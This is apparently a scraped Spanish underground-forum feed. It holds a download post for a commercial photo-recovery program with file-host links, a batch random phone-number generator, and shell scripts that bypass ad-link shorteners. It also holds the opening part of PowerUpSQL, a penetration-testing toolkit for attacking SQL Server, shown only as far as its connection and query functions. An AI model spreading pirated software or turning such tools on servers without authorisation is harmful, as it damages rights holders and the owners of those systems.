Quantcast
Channel: Comunidad Underground Hispana
Viewing all 11602 articles
Browse latest View live

LC Technology PHOTORECOVERY 2016 Professional v5.1.4.5

$
0
0


LC Technology PHOTORECOVERY 2016 Professional v5.1.4.5 [Multi+Español]
[ RAR | Install | Win: 7/8/8.1/10 | 11.59 MB ]

Descripción:

La herramienta definitiva para el fotógrafo - profesional o aficionado! Recupera "una vez en la vida" momentos creía perdida para siempre! PHOTORECOVERY® 2016 software de recuperación está diseñada para recuperar imágenes digitales, películas y archivos de sonido de todo tipo de medios digitales. Es el software # 1 de recuperación de datos para Memory Stick ™ s, SmartMedia, CompactFlash I y II, tarjetas SD / XD, MMC, unidades flash USB y la mayoría de otras formas de medios digitales. Una simplemente los medios a su ordenador (se recomienda un lector de tarjetas) y ejecutar PHOTORECOVERY® 2016. Las imágenes se guardan automáticamente a otra ubicación.


Capturas:


Características:

Recupera imágenes, vídeo y archivos de audio
Recupera documentos, hojas de cálculo, archivos de texto, y más
Crea una imagen de copia de seguridad de su tarjeta de memoria para archivar
Le permite formatear y limpiar las tarjetas multimedia de forma segura
También es compatible con archivos RAW y vídeo HD
Características profesionales:
Todas las grandes características de PHOTORECOVERY® 2016 estándar y, además:
Compatible con todos los formatos de cámara - respaldos digitales modelos para apuntar y disparar
Incluye digital doctor Medios para pruebas de funcionamiento y los medios de comunicación Restauración
Rápidamente copia de seguridad, Wipe, Formato, y recuperar sus tarjetas de memoria digital utilizado para "como nuevo" Rendimiento
Saber cuándo hay que reemplazar las tarjetas de memoria - antes de que sea demasiado tarde!

Idioma: Multilenguaje Incluye Español
Compreso con Winrar

LC Technology PHOTORECOVERY 2016 Professional v5.1.4.5 [Multi+Español]
[ RAR | Install | Win: 7/8/8.1/10 | 11.59 MB ]




**Uploaded:

http://ul.to/heoplfls

**Faststore:

http://faststore.org/ilpmgru9bf7a

**Bigfile:

https://www.bigfile.to/file/2KP2jBDJPZK6

**Rockfile:

http://rockfile.eu/xhjny5dops3d.html


Deja Un Comentario - Comentar es Alentar

[bat] PHN GEN v1.0: Generate a Phone Number

$
0
0
Código:

########################################################################################
########################################################################################
#+-
#+- Title: PHN GEN v1.0
#+- Author: ...
#+- Category: Phone Tool
#+- Description :  Using this script is pretty simple. just follow the steps
#+- and adapt it to your needs. If I wanted to generate a phone number
#+- which is 9 digits long: in the format 001-002-003 and assuming 001 is the
#+- prefix i.e the number which remains constant for all generated numbers,
#+- and I wanted to generate 50 phone humbers and dump them to a file
#+- called test.txt, i would type:
#+- ----------------------------------------------------------------
#+- > How many digits:9
#+- > Enter the prefix:001
#+- > How many numbers should I generate:50
#+- > Name of file to dump numbers to:test
#+- > Also note that the provision for a prefix could be left blank.
#+- > Date Release : ...
#+- 
########################################################################################
########################################################################################


Código:

@echo off
:asd
cls
mode con:cols=99 lines=30
if not exist phngen md phngen
color a
set tp=PhnGen
title %tp%
set pal=
set pre=
set limit=
set dumpfile=
ECHO        ÛÛÛÛÛÛÛÛÛ±  ±Û±    ÛÛ    Û²    ±Û            ÛÛÛÛÛÛ²    ÛÛÛÛÛÛÛÛÛ°  ÛÛ    °Û±
ECHO        ÛÛ°°°° °Û²  ±Û±    ÛÛ    Û²    ²Û          ±Û²°°°°°      ÛÛ °°°°°°    ÛÛ    °Û±
ECHO        ÛÛ      Û±  ±Û°    ÛÛ    ÛÛ    ±Û          ±Û±          Û²          ÛÛ    °Û±
ECHO        ÛÛ°°±±°±Û²  ±Û°    ÛÛ    ÛÛÛ²°  ±Û          °Û±          Û²          ÛÛÛÛ°  Û±
ECHO        ÛÛÛÛÛÛÛÛÛ±  ±Û²²²²²±ÛÛ    Û² ÛÛ² °Û          ±Û±          ÛÛ±²±        ÛÛ ²Û²  Û±
ECHO        ÛÛ          ±ÛÛÛÛÛÛÛÛÛ    Û²  ±ÛÛÛÛ          ±Û±  ²ÛÛ²²    ÛÛ²Û²        ÛÛ  ÛÛ²Û±
ECHO        ÛÛ          ±Û°    ÛÛ    Û²    ²ÛÛ          ±Û±  ²²²ÛÛ    Û²          ÛÛ    ±ÛÛ±
ECHO        ÛÛ          ±Û±    ÛÛ    Û²    ±Û          ±Û±    ÛÛ    Û²          ÛÛ      Û±
ECHO        ÛÛ          ±Û±    ÛÛ    ÛÛ    ²Û          ±Û±    ÛÛ    ÛÛ          ÛÛ    °Û±
ECHO        ÛÛ          ±Û±    ÛÛ  °Û²    ²Û          °ÛÛÛÛÛÛ²    °ÛÛÛÛÛÛÛÛÛ°  ÛÛ    °Û±
echo you can type help for further instructions, or exit to exit.
:com
echo ---------------------------------------
set /p pal=How many digits:
if /i "%pal%"=="help" goto :help
if /i "%pal%"=="exit" exit
if "%pal%"=="" echo You Must enter the number of digits! && goto :com
if %pal% LEQ 0 echo Invalid value && goto :com
echo %pal% >%temp%\ml.txt
findstr /b "0 1 2 3 4 5 6 7 8 9" %temp%\ml.txt >nul 2>nul
if not %errorlevel%==0 echo Invalid value&&goto :com
set /p pre=Enter the prefix:
if /i "%pre%"=="" echo no prefix option selected &&set pre=
if /i "%pre%"=="help" goto :help
if /i "%pre%"=="exit" exit
set /p limit=How many numbers should I generate:
if /i "%limit%"=="help" goto :help
if /i "%limit%"=="exit" exit
if /i "%limit%"=="" echo You Must enter the amount of numbers to generate! && goto :com
if %limit% LEQ 0 echo Invalid value && goto :com
set /p dumpfile=Name of file to dump numbers to:
if /i "%dumpfile%"=="help" goto :help
if /i "%dumpfile%"=="exit" exit
if /i "%dumpfile%"=="" echo You Must specify the number dumpfile! && goto :com
set foc=-1
setlocal enabledelayedexpansion
echo !pre!>%temp%\po.txt
for %%? in (%temp%\po.txt) do (
set /a lenpre=%%~z? -2
echo !lenpre! >%temp%\ponnm.txt
)
echo !pal!>%temp%\pon.txt
for %%? in (%temp%\pon.txt) do (
set /a lenpal=%%~z? -2
echo !lenpal! >%temp%\ponn.txt
)
set /a tots=!lenpre!-!pal!
echo !tots! >%temp%\diff.txt
endlocal
set/p diff=<%temp%\diff.txt
set diff=%diff:-=%
set pal=%diff%
:amp
set /a foc=%foc%+1
set ti=0
set lett1=
set lett2=
set lett3=
set lett4=
set lett5=
set lett6=
set lett7=
set lett8=
set lett9=
set lett10=
set lett11=
set lett12=
set lett13=
set lett14=
set lett15=
set lett16=
set lett17=
set lett18=
set lett19=
set lett20=
set lett21=
set lett22=
set lett23=
set lett24=
set lett25=
set lett26=
set lett27=
set lett28=
set lett29=
set lett30=
set lett31=
set lett32=
set lett33=
set lett34=
set lett35=
set lett36=
set lett37=
set lett38=
set lett39=
set lett40=
set lett41=
set lett42=
set lett43=
set lett44=
set lett45=
set lett46=
set lett47=
set lett48=
set lett49=
set lett50=
set lett51=
set lett52=
set lett53=
set lett54=
set lett55=
set lett56=
set lett57=
set lett58=
set lett59=
set lett60=
set lett61=
set lett62=
:random
set /a ti=%ti%+1
set /a nu=%random%%%10
if %nu%==0 set lett%ti%=0
if %nu%==1 set lett%ti%=1
if %nu%==2 set lett%ti%=2
if %nu%==3 set lett%ti%=3
if %nu%==4 set lett%ti%=4
if %nu%==5 set lett%ti%=5
if %nu%==6 set lett%ti%=6
if %nu%==7 set lett%ti%=7
if %nu%==8 set lett%ti%=8
if %nu%==9 set lett%ti%=9
if %ti%==%pal% goto :sick
goto :random
:sick
set whole=%pre%%lett1%%lett2%%lett3%%lett4%%lett5%%lett6%%lett7%%lett8%%lett9%%lett10%%lett11%%lett12%%lett13%%lett14%%lett15%%lett16%%lett17%%lett18%%lett19%%lett20%%lett21%%lett22%%lett23%%lett24%%lett25%%lett26%%lett27%%lett28%%lett29%%lett30%%lett31%%lett32%%lett33%%lett34%%lett35%%lett36%%lett37%%lett38%%lett39%%lett40%%lett41%%lett42%%lett43%%lett44%%lett45%%lett46%%lett47%%lett48%%lett49%%lett50%%lett51%%lett52%%lett53%%lett54%%lett55%%lett56%%lett57%%lett58%%lett59%%lett60%%lett61%%lett61%%lett62%
echo %whole%
echo %whole% >>"phngen\%dumpfile%.txt"
title %tp% %foc% numbers generated
if "%limit%"=="%foc%" goto :fini
goto :amp
:help
echo PnGen help.
echo Using this script is pretty simple. just follow the steps below and adapt it to your needs.
echo if I wanted to generate a phone number which is 9 digits long: in the format 001-002-003
echo and assuming 001 is the prefix i.e the number which remains constant for all generated numbers,
echo and I wanted to generate 50 phone humbers and dump them to a file called test.txt, i would type:
echo ----------------------------------------------------------------
echo How many digits:9
echo Enter the prefix:001
echo How many numbers should I generate:50
echo Name of file to dump numbers to:test
echo also note that the provision for a prefix could be left blank.
echo ----------------------------------------------------------------
pause
goto :asd
:fini
cls
echo PhnGen Report----------
echo Numbers generated:%foc%
echo Numbers dump file:Phngen\%dumpfile%.txt
echo end of Report----------
call "phngen\%dumpfile%.txt"
pause
goto :asd




mega.nz - [Code] PHN GEN v1.0

[sh] Bypass Links v1.0: adf.ly, sh.st, ad links

$
0
0
Código:

########################################################################################
########################################################################################
#+-
#+- Title: Bypass Links v1.0: adf.ly, sh.st, ad links
#+- Author: Arccotangent
#+- Category: Tool URL
#+- Description :  Here are a couple of bypass scripts I made while I was bored, these scripts will bypass adf.ly or sh.st links and print out the target URL.
#+- Supported sites:
#+- > adf.ly
#+- > shorte.st
#+- > sh.st
#+- > Adfocus
#+- Date Release : 2016-09-04
#+- 
########################################################################################
########################################################################################

Adf.ly bypass script:

Código:

#!/bin/bash
 
USER_AGENT="Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.28 (KHTML, like Gecko) Chrome/26.0.1397.2 Safari/537.28"
ADFLY=$1
 
if [ "$ADFLY" == "" ]; then
    echo "Usage: adfly <link>"
    echo "Works on every adfly link"
    exit 0
fi
 
ADFLY=$(echo "$ADFLY" | sed 's~http[s]*://~~g')
 
target_encoded=$(curl -s --user-agent "$USER_AGENT" $ADFLY | grep "var ysmm" | cut -d \' -f 2)
strlen=$(expr length "$target_encoded")
 
chunk1=""
chunk2=""
 
for i in $(seq 0 $strlen);
do
    if [ $((i%2)) -eq 0 ]; then
        chunk2=$chunk2"${target_encoded:$i:1}"
    else
        chunk1="${target_encoded:$i:1}"$chunk1
    fi
done
 
target_base64=$chunk2"$chunk1"
target=$(echo $target_base64 | base64 -d)
 
subnum=$((strlen-2))
 
target=${target:2:$subnum}
 
echo "$ADFLY -> $target"

Código:

arccot@arccotangent-arch:~$ adfly http://adf.ly/a
adf.ly/a -> http://adf.ly

Sh.st (shorte.st) bypass script:

Código:

#!/bin/bash
 
USER_AGENT=""
SHORTEST=$1
 
if [ "$SHORTEST" = "" ]; then
    echo "Usage: shst <link>"
    echo "Will work on any shorte.st link, including shorte.st and sh.st"
    exit 0
fi
 
SHORTEST=$(echo "$SHORTEST" | sed 's~http[s]*://~~g')
 
target_unformatted=$(curl -s --user-agent "$USER_AGENT" $SHORTEST | grep "<title>Redirecting")
 
target=$(echo $target_unformatted | cut -d "<" -f 2 | cut -d ">" -f 2 | cut -c 16-)
 
echo "$SHORTEST -> $target"

Código:

arccot@arccotangent-arch:~$ shst http://sh.st/a
sh.st/a -> http://shorte.st/

Adfocus bypass script:

Código:

#!/bin/bash
 
USER_AGENT=""
ADFOCUS=$1
 
if [ "$ADFOCUS" = "" ]; then
    echo "Usage: adfocus <link>"
    echo "Will work on any adfoc.us link"
    exit 0
fi
 
ADFOCUS=$(echo "$ADFOCUS" | sed 's~http[s]*://~~g')
 
target=$(curl -s -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" $ADFOCUS | grep showSkip | cut -d '<' -f 3 | cut -d '"' -f 2)
 
echo "$ADFOCUS -> $target"

Replace "#" with "adfoc .us" without the space

Código:

arccot@arccotangent-arch:~$ adfocus http://#/x1
#/x1 -> http://google.com/



mega.nz - [Code] Bypass Links v1.0

[PS] PowerUpSQL v1.0.0.34: A PowerShell Toolkit for Attacking SQL Server

$
0
0



PowerShell toolkit for attacking SQL Server v1.0.0.34

El módulo PowerUpSQL incluye funciones que soportan un descubrimiento de SQL Server, la auditoría de configuraciones débiles comunes, y una escalación de privilegios en escala. Está destinado a ser utilizado durante las pruebas de penetración internas y compromisos del equipo rojo. Sin embargo, PowerUpSQL también incluye muchas funciones que podrían ser utilizados por los administradores para rápidamente buscar los servidores SQL Server en su dominio ADS.

Objetivos

PowerUpSQL fue diseñado con seis objetivos en mente:
  • Fácil busqueda de servidores: Funciones de búsqueda se puede utilizar para identificar a ciegas locales, dominio y los no-dominio de SQL Server en escala.
  • Fácil Auditoría del servidor: La función Invoke-SQLAudit se puede utilizar para auditar en busca de vulnerabilidades de alto impacto comunes y configuraciones débiles utilizando los privilegios del inicio de sesión actual. Además, Invoke-SQLDumpInfo se puede utilizar para rápidamente buscar bases de datos, privilegios y otra información.
  • Fácil Explotación de servidor: La función Invoke-SQLEscalatePriv intenta obtener privilegios de administrador de sistemas que utilizan las vulnerabilidades identificadas.
  • Escalabilidad: Multi-threading es compatible con las funciones básicas para que puedan ser ejecutadas contra muchos servidores SQL Server de forma rápida.
  • Flexibilidad: Las funciones de PowerUpSQL soportan fuentes de información de PowerShell para que puedan ser utilizados juntos, y con otras secuencias de comandos.
  • Portabilidad: Por defecto las librerias .net son usadas y no hay dependencias de SQLPS o las librerias de SMO. Las funciones también se han diseñado para que se puedan ejecutar de forma independiente. Como resultado, es fácil de usar en cualquier sistema Windows con PowerShell v3 instalado.
Información del módulo
  • Autor Scott Sutherland (@_nullbind), NetSPI - 2016
  • Colaboradores: Antti Rantasaari Gruber y Eric (@egru)
  • Licencia: BSD 3-Cláusula
  • Dependencias requeridas: Ninguno
Para instrucciones de configuración, función de vistas generales, y uso común de información revisa el wiki de PowerUpSQL

Codigo Fuente

Código:

#requires -Modules Microsoft.PowerShell.Utility
#requires -version 2
<#
        File: PowerUpSQL.ps1
        Author: Scott Sutherland (@_nullbind), NetSPI - 2016
        Contributors: Antti Rantasaari and Eric Gruber
        Version: 1.0.0.34
        Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server.
        License: BSD 3-Clause
        Required Dependencies: PowerShell v.2
        Optional Dependencies: None
#>

#########################################################################
#
#region          CORE FUNCTIONS
#
#########################################################################

# ----------------------------------
#  Get-SQLConnectionObject
# ----------------------------------
# Author: Scott Sutherland
# Reference: https://msdn.microsoft.com/en-us/library/ms188247.aspx
Function  Get-SQLConnectionObject
{
    <#
            .SYNOPSIS
            Creates a object for connecting to SQL Server.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Database
            Default database to connect to.
            .EXAMPLE
            PS C:\> Get-SQLConnectionObject -Username MySQLUser -Password MySQLPassword

            StatisticsEnabled                : False
            AccessToken                      :
            ConnectionString                : Server=SQLServer1;Database=Master;User ID=MySQLUser;Password=MySQLPassword;Connection Timeout=1
            ConnectionTimeout                : 1
            Database                        : Master
            DataSource                      : SQLServer1
            PacketSize                      : 8000
            ClientConnectionId              : 00000000-0000-0000-0000-000000000000
            ServerVersion                    :
            State                            : Closed
            WorkstationId                    : SQLServer1
            Credential                      :
            FireInfoMessageEventOnUserErrors : False
            Site                            :
            Container                        :
    #>
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,

        [Parameter(Mandatory = $false,
                ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Dedicated Administrator Connection (DAC).')]
        [Switch]$DAC,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Default database to connect to.')]
        [String]$Database,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Connection timeout.')]
        [string]$TimeOut = 1
    )

    Begin
    {
        # Setup DAC string
        if($DAC)
        {
            $DacConn = 'ADMIN:'
        }
        else
        {
            $DacConn = ''
        }

        # Set database filter
        if(-not $Database)
        {
            $Database = 'Master'
        }
    }

    Process
    {
        # Check for instance
        if ( -not $Instance)
        {
            $Instance = $env:COMPUTERNAME
        }

        # Create connection object
        $Connection = New-Object -TypeName System.Data.SqlClient.SqlConnection

        # Check for username and password
        if($Username -and $Password)
        {
            # Setup connection string with SQL Server credentials
            $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;User ID=$Username;Password=$Password;Connection Timeout=$TimeOut"
        }
        else
        {
            # Get connecting user
            $UserDomain = [Environment]::UserDomainName
            $Username = [Environment]::UserName
            $ConnectionectUser = "$UserDomain\$Username"

            # Status user
            Write-Debug -Message "Attempting to authenticate to $DacConn$Instance as current Windows user ($ConnectionectUser)..."

            # Setup connection string with trusted connection
            $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;Connection Timeout=1"

            <#
                    # Check for provided credential
                    if ($Credential){

                    $Username = $credential.Username
                    $Password = $Credential.GetNetworkCredential().Password

                    # Setup connection string with SQL Server credentials
                    $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;User ID=$Username;Password=$Password;Connection Timeout=$TimeOut"
                    }
            #>
        }

        # Return the connection object
        return $Connection
    }

    End
    {
    }
}


# ----------------------------------
#  Get-SQLConnectionTest
# ----------------------------------
# Author: Scott Sutherland
Function  Get-SQLConnectionTest
{
    <#
            .SYNOPSIS
            Tests if the current Windows account or provided SQL Server login can log into an SQL Server.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            SQL Server instance to connection to.
            .PARAMETER DAC
            Connect using Dedicated Admin Connection.
            .PARAMETER Database
            Default database to connect to.
            .PARAMETER TimeOut
            Connection time out.
            .PARAMETER SuppressVerbose
            Suppress verbose errors.  Used when function is wrapped.
            .EXAMPLE
            PS C:\> Get-SQLConnectionTest -Verbose -Instance "SQLSERVER1.domain.com\SQLExpress"
            .EXAMPLE
            PS C:\> Get-SQLConnectionTest -Verbose -Instance "SQLSERVER1.domain.com,1433"
            .EXAMPLE
            PS C:\> Get-SQLInstanceDomain | Get-SQLConnectionTest -Verbose
    #>
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,

        [Parameter(Mandatory = $false,
                ValueFromPipeline,
                ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Connect using Dedicated Admin Connection.')]
        [Switch]$DAC,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Default database to connect to.')]
        [String]$Database,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Connection timeout.')]
        [string]$TimeOut,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Suppress verbose errors.  Used when function is wrapped.')]
        [switch]$SuppressVerbose
    )

    Begin
    {
        # Setup data table for output
        $TblResults = New-Object -TypeName System.Data.DataTable
        $null = $TblResults.Columns.Add('ComputerName')
        $null = $TblResults.Columns.Add('Instance')
        $null = $TblResults.Columns.Add('Status')
    }

    Process
    {
        # Parse computer name from the instance
        $ComputerName = Get-ComputerNameFromInstance -Instance $Instance

        # Default connection to local default instance
        if(-not $Instance)
        {
            $Instance = $env:COMPUTERNAME
        }

        # Setup DAC string
        if($DAC)
        {
            # Create connection object
            $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DAC -TimeOut $TimeOut -Database $Database
        }
        else
        {
            # Create connection object
            $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -Database $Database
        }

        # Attempt connection
        try
        {
            # Open connection
            $Connection.Open()

            if(-not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Success."
            }

            # Add record
            $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Accessible')

            # Close connection
            $Connection.Close()

            # Dispose connection
            $Connection.Dispose()
        }
        catch
        {
            # Connection failed
            if(-not $SuppressVerbose)
            {
                $ErrorMessage = $_.Exception.Message
                Write-Verbose -Message "$Instance : Connection Failed."
                Write-Verbose  -Message " Error: $ErrorMessage"
            }

            # Add record
            $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Not Accessible')
        }
    }

    End
    {
        # Return Results
        $TblResults
    }
}


# ----------------------------------
#  Get-SQLConnectionTestThreaded
# ----------------------------------
# Author: Scott Sutherland
Function  Get-SQLConnectionTestThreaded
{
    <#
            .SYNOPSIS
            Tests if the current Windows account or provided SQL Server login can log into an SQL Server.  This version support threading using runspaces.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            SQL Server instance to connection to.
            .PARAMETER DAC
            Connect using Dedicated Admin Connection.
            .PARAMETER Database
            Default database to connect to.
            .PARAMETER TimeOut
            Connection time out.
            .PARAMETER SuppressVerbose
            Suppress verbose errors.  Used when function is wrapped.
            .PARAMETER Threads
            Number of concurrent threads.
            .EXAMPLE
            PS C:\> Get-SQLConnectionTestThreaded -Verbose -Instance "SQLSERVER1.domain.com\SQLExpress" -Threads 15
            .EXAMPLE
            PS C:\> Get-SQLConnectionTestThreaded -Verbose -Instance "SQLSERVER1.domain.com,1433" -Threads 15
            .EXAMPLE
            PS C:\> Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15
    #>
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,

        [Parameter(Mandatory = $false,
                ValueFromPipeline,
                ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Connect using Dedicated Admin Connection.')]
        [Switch]$DAC,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Default database to connect to.')]
        [String]$Database,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Connection timeout.')]
        [string]$TimeOut,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Number of threads.')]
        [int]$Threads = 5,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Suppress verbose errors.  Used when function is wrapped.')]
        [switch]$SuppressVerbose
    )

    Begin
    {
        # Setup data table for output
        $TblResults = New-Object -TypeName System.Data.DataTable
        $null = $TblResults.Columns.Add('ComputerName')
        $null = $TblResults.Columns.Add('Instance')
        $null = $TblResults.Columns.Add('Status')

        # Setup data table for pipeline threading
        $PipelineItems = New-Object -TypeName System.Data.DataTable

        # set instance to local host by default
        if(-not $Instance)
        {
            $Instance = $env:COMPUTERNAME
        }

        # Ensure provided instance is processed
        if($Instance)
        {
            $ProvideInstance = New-Object -TypeName PSObject -Property @{
                Instance = $Instance
            }
        }

        # Add instance to instance list
        $PipelineItems = $PipelineItems + $ProvideInstance
    }

    Process
    {
        # Create list of pipeline items
        $PipelineItems = $PipelineItems + $_
    }

    End
    {
        # Define code to be multi-threaded
        $MyScriptBlock = {
            # Setup instance
            $Instance = $_.Instance

            # Parse computer name from the instance
            $ComputerName = Get-ComputerNameFromInstance -Instance $Instance

            # Setup DAC string
            if($DAC)
            {
                # Create connection object
                $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DAC -TimeOut $TimeOut -Database $Database
            }
            else
            {
                # Create connection object
                $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -Database $Database
            }

            # Attempt connection
            try
            {
                # Open connection
                $Connection.Open()

                if(-not $SuppressVerbose)
                {
                    Write-Verbose -Message "$Instance : Connection Success."
                }

                # Add record
                $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Accessible')

                # Close connection
                $Connection.Close()

                # Dispose connection
                $Connection.Dispose()
            }
            catch
            {
                # Connection failed

                if(-not $SuppressVerbose)
                {
                    $ErrorMessage = $_.Exception.Message
                    Write-Verbose -Message "$Instance : Connection Failed."
                    #Write-Verbose  " Error: $ErrorMessage"
                }

                # Add record
                $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Not Accessible')
            }
        }

        # Run scriptblock using multi-threading
        $PipelineItems | Invoke-Parallel -ScriptBlock $MyScriptBlock -ImportSessionFunctions -ImportVariables -Throttle $Threads -RunspaceTimeout 2 -Quiet -ErrorAction SilentlyContinue

        return $TblResults
    }
}


# ----------------------------------
#  Get-SQLQuery
# ----------------------------------
# Author: Scott Sutherland
Function  Get-SQLQuery
{
    <#
            .SYNOPSIS
            Executes a query on target SQL servers.This
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            SQL Server instance to connection to.
            .PARAMETER DAC
            Connect using Dedicated Admin Connection.
            .PARAMETER Database
            Default database to connect to.
            .PARAMETER TimeOut
            Connection time out.
            .PARAMETER SuppressVerbose
            Suppress verbose errors.  Used when function is wrapped.
            .PARAMETER Threads
            Number of concurrent threads.
            .PARAMETER Query
            Query to be executed on the SQL Server.
            .EXAMPLE
            PS C:\> Get-SQLQuery -Verbose -Instance "SQLSERVER1.domain.com\SQLExpress" -Query "Select @@version" -Threads 15
            .EXAMPLE
            PS C:\> Get-SQLQuery -Verbose -Instance "SQLSERVER1.domain.com,1433" -Query "Select @@version" -Threads 15
            .EXAMPLE
            PS C:\> Get-SQLInstanceDomain | Get-SQLQuery -Verbose -Query "Select @@version" -Threads 15
    #>
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
                ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
                ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,

        [Parameter(Mandatory = $false,
                ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,

        [Parameter(Mandatory = $false,
                ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server query.')]
        [string]$Query,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Connect using Dedicated Admin Connection.')]
        [Switch]$DAC,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Default database to connect to.')]
        [String]$Database,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Connection timeout.')]
        [int]$TimeOut,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Suppress verbose errors.  Used when function is wrapped.')]
        [switch]$SuppressVerbose,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Return error message if exists.')]
        [switch]$ReturnError
    )

    Begin
    {
        # Setup up data tables for output
        $TblQueryResults = New-Object -TypeName System.Data.DataTable
    }

    Process
    {
        # Setup DAC string
        if($DAC)
        {
            # Create connection object
            $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -DAC -Database $Database
        }
        else
        {
            # Create connection object
            $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -Database $Database
        }

        # Parse SQL Server instance name
        $ConnectionString = $Connection.Connectionstring
        $Instance = $ConnectionString.split(';')[0].split('=')[1]

        # Check for query
        if($Query)
        {
            # Attempt connection
            try
            {
                # Open connection
                $Connection.Open()

                if(-not $SuppressVerbose)
                {
                    Write-Verbose -Message "$Instance : Connection Success."
                }

                # Setup SQL query
                $Command = New-Object -TypeName System.Data.SqlClient.SqlCommand -ArgumentList ($Query, $Connection)

                # Grab results
                $Results = $Command.ExecuteReader()

                # Load results into data table
                $TblQueryResults.Load($Results)

                # Close connection
                $Connection.Close()

                # Dispose connection
                $Connection.Dispose()
            }
            catch
            {
                # Connection failed - for detail error use  Get-SQLConnectionTest
                if(-not $SuppressVerbose)
                {
                    Write-Verbose -Message "$Instance : Connection Failed."
                }

                if($ReturnError)
                {
                    $ErrorMessage = $_.Exception.Message
                    #Write-Verbose  " Error: $ErrorMessage"
                }
            }
        }
        else
        {
            Write-Output -InputObject 'No query provided to Get-SQLQuery function.'
            Break
        }
    }

    End
    {
        # Return Results
        if($ReturnError)
        {
            $ErrorMessage
        }
        else
        {
            $TblQueryResults
        }
    }
}


# ----------------------------------
#  Get-SQLQueryThreaded
# ----------------------------------
# Author: Scott Sutherland
Function  Get-SQLQueryThreaded
{
    <#
            .SYNOPSIS
            Executes a query on target SQL servers.This version support threading using runspaces.
